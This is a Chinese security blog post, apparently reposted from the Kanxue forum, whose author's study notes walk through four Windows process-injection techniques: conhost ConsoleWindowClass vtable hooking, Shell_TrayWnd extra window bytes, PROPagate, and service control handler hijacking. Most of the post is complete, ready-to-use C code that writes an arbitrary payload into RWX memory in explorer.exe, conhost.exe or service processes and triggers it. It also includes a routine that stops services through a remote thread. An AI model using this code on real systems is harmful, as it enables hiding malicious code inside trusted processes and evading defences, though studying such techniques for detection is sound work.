Windows不太常见的进程注入学习小记(一)

admin 2020年8月23日17:58:50评论285 views字数 10630阅读35分26秒阅读模式
Windows不太常见的进程注入学习小记(一)

本文为看雪论坛优秀文章

看雪论坛作者ID:不懂就不懂





进程注入



以下是自学习相关进程注入时写的笔记。


HOOK Conhost.exe中保存的ConsoleWindowClass窗口类的虚表


控制台应用程序窗口所属于的窗口类为ConsoleWindowClass,窗口中保存的用户数据并不在控制台程序的地址空间之中,而在Conhost.exe之中。用户数据的第一个8字节或4字节中保存的是该类的虚表地址。
 
以修改ConHost中对于消息处理的虚函数表中的虚函数指针为手段,而Conhost.exe保存的用户数据在堆中是可写属性,导致了可以HOOK对应虚函数指针。

Windows不太常见的进程注入学习小记(一)

这个是Conhost中保存的控制台窗口类行为的虚表原型:

typedef struct _vftable_t {    ULONG_PTR     EnableBothScrollBars;    ULONG_PTR     UpdateScrollBar;    ULONG_PTR     IsInFullscreen;    ULONG_PTR     SetIsFullscreen;    ULONG_PTR     SetViewportOrigin;    ULONG_PTR     SetWindowHasMoved;    ULONG_PTR     CaptureMouse;    ULONG_PTR     ReleaseMouse;    ULONG_PTR     GetWindowHandle;    ULONG_PTR     SetOwner;    ULONG_PTR     GetCursorPosition;    ULONG_PTR     GetClientRectangle;    ULONG_PTR     MapPoints;    ULONG_PTR     ConvertScreenToClient;    ULONG_PTR     SendNotifyBeep;    ULONG_PTR     PostUpdateScrollBars;    ULONG_PTR     PostUpdateTitleWithCopy;    ULONG_PTR     PostUpdateWindowSize;    ULONG_PTR     UpdateWindowSize;    ULONG_PTR     UpdateWindowText;    ULONG_PTR     HorizontalScroll;    ULONG_PTR     VerticalScroll;    ULONG_PTR     SignalUia;    ULONG_PTR     UiaSetTextAreaFocus;    ULONG_PTR     GetWindowRect;} ConsoleWindow;

通过GetWindowLongPtr(hwnd, GWLP_USERDATA);可以获取用户数据地址,然后通过常规的ReadProcessMemory、WriteProcessMemory、VirtualAllocEx即可将对应的虚函数做更改。
 
整体代码如下:

VOID conhostInject(LPVOID payload, DWORD payloadSize) {    HWND          hwnd;    LONG_PTR      udptr;    DWORD         pid, ppid;    SIZE_T        wr;    HANDLE        hp;    ConsoleWindow cw;    LPVOID        cs, ds;    ULONG_PTR     vTable;
// 1. 找到具有ConsoleWindowClass窗口类的窗口句柄 hwnd = FindWindow(L"ConsoleWindowClass", NULL); //通过窗口句柄找到对应进程的PID GetWindowThreadProcessId(hwnd, &ppid);
// 2. 通过对比进程名和父进程句柄找到Conhost进程的pid pid = conhostId(ppid);
if (pid==0) { printf("parent id is %ldnunable to obtain pid of conhost.exen", ppid); return; } // 3.打开conhost进程 hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// 4. 在conhost进程中申请可读可写可执行的堆空间用于保存自己的payload cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 5. 找到ConsoleWindowClass窗口类中保存的虚函数地址 udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA); ReadProcessMemory(hp, (LPVOID)udptr, (LPVOID)&vTable, sizeof(ULONG_PTR), &wr);
// 6. 获取原本的虚表内容 ReadProcessMemory(hp, (LPVOID)vTable, (LPVOID)&cw, sizeof(ConsoleWindow), &wr);
// 7. 在conhost进程中申请堆空间保存自定义的虚表内容。 ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 8. 将虚表中保存的GetWindowHandle更改为自己的payload地址,然后将虚表的内容写入进程。 cw.GetWindowHandle = (ULONG_PTR)cs; WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr);
// 9. 将虚表指针hook WriteProcessMemory(hp, (LPVOID)udptr, &ds, sizeof(ULONG_PTR), &wr);
// 10. 发消息测试 SendMessage(hwnd, WM_SETFOCUS, 0, 0);
// 11. 更改为原来的虚表指针 WriteProcessMemory(hp, (LPVOID)udptr, &vTable, sizeof(ULONG_PTR), &wr);
// 12. 释放内存。 VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE); VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);}

HOOK Shell_TrayWnd窗口类的虚表


可以看到explorer.exe之中具有窗口类。

Windows不太常见的进程注入学习小记(一)

Windows不太常见的进程注入学习小记(一)

和第一个没什么太大的不一样,唯一的区别是该窗口类的虚表常规的保存在创建窗口的进程之中。
 
原型:

typedef struct _ctray_vtable {    ULONG_PTR vTable;    // change to remote memory address    ULONG_PTR AddRef;    // add reference    ULONG_PTR Release;   // release procedure    ULONG_PTR WndProc;   // window procedure (change to payload)} CTray;
typedef struct _ctray_obj { CTray *vtbl;} CTrayObj;

代码:

VOID extraBytes(LPVOID payload, DWORD payloadSize){    LPVOID    cs, ds;    CTray     ct;    ULONG_PTR ctp;    HWND      hw;    HANDLE    hp;    DWORD     pid;    SIZE_T    wr;
hw = FindWindow(L"Shell_TrayWnd", NULL);
GetWindowThreadProcessId(hw, &pid);
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
ctp = GetWindowLongPtr(hw, 0);
ReadProcessMemory(hp, (LPVOID)ctp, (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);
ReadProcessMemory(hp, (LPVOID)ct.vTable, (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);
cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
ds = VirtualAllocEx(hp, NULL, sizeof(ct), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
ct.vTable = (ULONG_PTR)ds + sizeof(ULONG_PTR); ct.WndProc = (ULONG_PTR)cs;
WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr);
SetWindowLongPtr(hw, 0, (ULONG_PTR)ds);

PostMessage(hw, WM_CLOSE, 0, 0);

SetWindowLongPtr(hw, 0, ctp);

VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE); VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);}

与窗口子类化有关注入——PROPagate


当窗口被子类化的时候,久的窗口过程并不会被删除,而是被存储在后台隐藏运行。存储的节点为UxSubclassInfo或者CC32SubclassInfo的属性之中;命名名称是根据comctl32.dll的版本来决定的。

版本6.x对应的名称是UxSubclassInfo;

版本5.x对应的名称是CC32SubclassInfo。

当使用SetWindowSubclass函数时,会调用SetProp 这个API会将旧的函数过程存储在UxSubclassInfo或者CC32SubclassInfo属性值中。

当有对应的消息到来的时候,将会在子类化的窗口调用GetProp这个API获取旧的窗口过程并执行。

(PS:以上是看资料总结的,总感觉理解上面有问题。如果有师傅比较较真的话,可以尝试自己子类化一个窗口,通过其句柄获取UxSubclassInfo属性,然后判断一下这个属性+0x18的偏移所保存的到底是旧的窗口过程还是新的窗口过程,还是说都有?只是调用的顺序不同?,如果有师傅做了实验的话不妨在下面告诉我一下,感激不尽)
 
这个属性的结构主要如下:

typedef struct _SUBCLASS_CALL {  SUBCLASSPROC pfnSubclass;    // subclass procedure  WPARAM       uIdSubclass;    // unique subclass identifier  DWORD_PTR    dwRefData;      // optional ref data} SUBCLASS_CALL, PSUBCLASS_CALL;
typedef struct _SUBCLASS_FRAME { UINT uCallIndex; // index of next callback to call UINT uDeepestCall; // deepest uCallIndex on stack struct _SUBCLASS_FRAME *pFramePrev; // previous subclass frame pointer struct _SUBCLASS_HEADER *pHeader; // header associated with this frame} SUBCLASS_FRAME, PSUBCLASS_FRAME;
typedef struct _SUBCLASS_HEADER { UINT uRefs; // subclass count UINT uAlloc; // allocated subclass call nodes UINT uCleanup; // index of call node to clean up DWORD dwThreadId; // thread id of window we are hooking SUBCLASS_FRAME *pFrameCur; // current subclass frame pointer SUBCLASS_CALL CallArray[1]; // base of packed call node array} SUBCLASS_HEADER, *PSUBCLASS_HEADER;

32位系统下可以看到在偏移0x18的处保存的窗口过程。
 
只需要在具有该窗口属性里的进程里将该回调函数进行HOOK,然后将其恢复即可。
 
在Win7和部分WIn10(最新版win10里没有)里经常使用该窗口,父类名Progman,子类名SHELLDLL_DefView。
 
Windows不太常见的进程注入学习小记(一)

VOID propagate(LPVOID payload, DWORD payloadSize) {    HANDLE          hp, p;    DWORD           id;    HWND            pwh, cwh;    SUBCLASS_HEADER sh;    LPVOID          psh, pfnSubclass;    SIZE_T          rd,wr;
// 1. Obtain the parent window handle pwh = FindWindow(L"Progman", NULL);
// 2. Obtain the child window handle cwh = FindWindowEx(pwh, NULL, L"SHELLDLL_DefView", NULL);
// 3. Obtain the handle of subclass header p = GetProp(cwh, L"UxSubclassInfo");
// GetProcessHandleFromHwnd // 4. Obtain the process id for the explorer.exe GetWindowThreadProcessId(cwh, &id);
// 5. Open explorer.exe hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
// 6. Read the contents of current subclass header ReadProcessMemory(hp, (LPVOID)p, &sh, sizeof(sh), &rd);
// 7. Allocate RW memory for a new subclass header psh = VirtualAllocEx(hp, NULL, sizeof(sh), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
// 8. Allocate RWX memory for the payload pfnSubclass = VirtualAllocEx(hp, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 9. Write the payload to memory WriteProcessMemory(hp, pfnSubclass, payload, payloadSize, &wr);
// 10. Set the pfnSubclass field to payload address, and write // back to process in new area of memory sh.CallArray[0].pfnSubclass = (SUBCLASSPROC)pfnSubclass; WriteProcessMemory(hp, psh, &sh, sizeof(sh), &wr);
// 11. update the subclass procedure with SetProp SetProp(cwh, L"UxSubclassInfo", psh);
// 12. Trigger the payload via a windows message PostMessage(cwh, WM_CLOSE, 0, 0);
// 13. Restore original subclass header SetProp(cwh, L"UxSubclassInfo", p);
// 14. free memory and close handles VirtualFreeEx(hp, psh, 0, MEM_DECOMMIT | MEM_RELEASE); VirtualFreeEx(hp, pfnSubclass, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);}

通过HOOK服务的IDE来实现进程注入


每个Windows服务都有一个“控制处理程序”以从操作系统接收控制代码。根据服务愿意接受的内容,可以查询,启动,停止,暂停或恢复服务的更常见控制代码。指向控制处理程序的指针存储在堆上的数据结构中,Microsoft将其称为“内部调度项”(IDE)。

(PS:以上是谷歌翻译的结果)
 
Win 7的IDE结构:

typedef struct _INTERNAL_DISPATCH_ENTRY {    LPWSTR                  ServiceName;    LPWSTR                  ServiceRealName;    LPSERVICE_MAIN_FUNCTION ServiceStartRoutine;    LPHANDLER_FUNCTION_EX   ControlHandler;    HANDLE                  StatusHandle;    DWORD                   ServiceFlags;    DWORD                   Tag;    HANDLE                  MainThreadHandle;    DWORD                   dwReserved;} INTERNAL_DISPATCH_ENTRY, *PINTERNAL_DISPATCH_ENTRY;

Win10的IDE结构:

typedef struct _INTERNAL_DISPATCH_ENTRY {    LPWSTR                  ServiceName;    LPWSTR                  ServiceRealName;    LPWSTR                  ServiceName2;       // Windows 10    LPSERVICE_MAIN_FUNCTION ServiceStartRoutine;    LPHANDLER_FUNCTION_EX   ControlHandler;    HANDLE                  StatusHandle;    DWORD64                 ServiceFlags;        // 64-bit on windows 10    DWORD64                 Tag;    HANDLE                  MainThreadHandle;    DWORD64                 dwReserved;    DWORD64                 dwReserved2;} INTERNAL_DISPATCH_ENTRY, *PINTERNAL_DISPATCH_ENTRY;

通过HOOK IDE的ControlHandler字段,可以实现进程注入。
 
具体方法为:通过服务名得到服务的进程相关信息;在服务的进程之中通过搜索内存比对IDE的ServiceRealName和传入的服务名参数来找到IDE;将IDE中的ServiceFlags修改为SERVICE_CONTROL_INTERROGATE;然后HOOK IDE中的ControlHandler,通过SCM向其发送SERVICE_CONTROL_INTERROGATE的控制码,触发被HOOK的函数;然后恢复。
 
具体代码如下:

VOID SvcCtrlInject(PSERVICE_ENTRY se, LPVOID payload, DWORD payloadSize) {    SIZE_T                  wr;    SC_HANDLE               hm, hs;    INTERNAL_DISPATCH_ENTRY ide;    HANDLE                  hp;    LPVOID                  cs;    SERVICE_STATUS          ss;
wprintf(L"[*] Attempting to inject PIC into "%s"...n", se->process);
// open the service control manager hm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT); if (hm != NULL) { // open target service hs = OpenService(hm, se->service, SERVICE_INTERROGATE); if (hs != NULL) { // open target process hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, se->pid); if (hp != NULL) { // allocate memory for payload cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (cs) { // write payload to process space WriteProcessMemory(hp, cs, payload, payloadSize, &wr); // create backup of IDE memcpy(&ide, &se->ide, sizeof(ide)); // point ControlHandler to payload ide.ControlHandler = cs; // change flags ide.ServiceFlags = SERVICE_CONTROL_INTERROGATE; // update IDE in remote process WriteProcessMemory(hp, se->ide_addr, &ide, sizeof(ide), &wr); // trigger payload wprintf(L"[*] Set a breakpoint on %pn", cs); getchar(); ControlService(hs, SERVICE_CONTROL_INTERROGATE, &ss); xstrerror(L"ControlService"); // free payload from memory VirtualFreeEx(hp, cs, payloadSize, MEM_RELEASE); // restore original IDE WriteProcessMemory(hp, se->ide_addr, &se->ide, sizeof(ide), &wr); } else xstrerror(L"VirtualAllocEx"); CloseHandle(hp); // close process } else xstrerror(L"OpenProcess"); CloseServiceHandle(hs); // close service } else xstrerror(L"OpenService"); CloseServiceHandle(hm); // close manager }}

其也可以通过远程创建线程的方式关闭服务。

BOOL StopService(PSERVICE_ENTRY se){    DWORD                   evt;    HANDLE                  hThread, hProcess;    RtlCreateUserThread_t   pRtlCreateUserThread;    BOOL                    bResult=FALSE;
wprintf(L"[*] Attempting to stop service...n");
hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, se->pid);
if(hProcess == NULL) { xstrerror(L"StopService::OpenProcess"); return 0; } // resolve address of RtlCreateUserThread // CreateRemoteThread won't work here.. pRtlCreateUserThread= (RtlCreateUserThread_t)GetProcAddress( LoadLibrary(L"ntdll"), "RtlCreateUserThread");
// got it? if (pRtlCreateUserThread!=NULL) { // execute the ControlHandler in remote process space pRtlCreateUserThread(hProcess, NULL, FALSE, 0, NULL, NULL, se->ide.ControlHandler, (LPVOID)SERVICE_CONTROL_STOP, &hThread, NULL);
bResult = (hThread != NULL);
// if thread created if (bResult) { // wait 5 seconds for termination evt = WaitForSingleObject(hThread, 5*1000); bResult = (evt == WAIT_OBJECT_0);
CloseHandle(hThread); } wprintf(L"[*] Service %s stopped.n", bResult ? L"successfully" : L"unsuccessfully"); } CloseHandle(hProcess); return bResult;}




参考文章



Windows Process Injection: ConsoleWindowClass
Windows Process Injection: Extra Window Bytes
Windows Process Injection: PROPagate
Windows Process Injection: Service Control Handler



Windows不太常见的进程注入学习小记(一)
- End -


Windows不太常见的进程注入学习小记(一)


看雪ID:不懂就不懂

https://bbs.pediy.com/user-795949.htm

  *本文由看雪论坛 不懂就不懂 原创,转载请注明来自看雪社区。



推荐文章++++

Windows不太常见的进程注入学习小记(一)

* HellsingAPT分享

* 萌新逆向学习笔记——远程线程注入DLL

* 追踪活动中相遇CobaltStrike的故事

* PWN:unsafe unlink

* 断其粮道——内核级拒绝服务攻击







Windows不太常见的进程注入学习小记(一)
公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]



Windows不太常见的进程注入学习小记(一)

求分享

Windows不太常见的进程注入学习小记(一)

求点赞

Windows不太常见的进程注入学习小记(一)

求在看


Windows不太常见的进程注入学习小记(一)
“阅读原文一起来充电吧!

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年8月23日17:58:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows不太常见的进程注入学习小记(一)https://cn-sec.com/archives/99941.html

发表评论

匿名网友 填写信息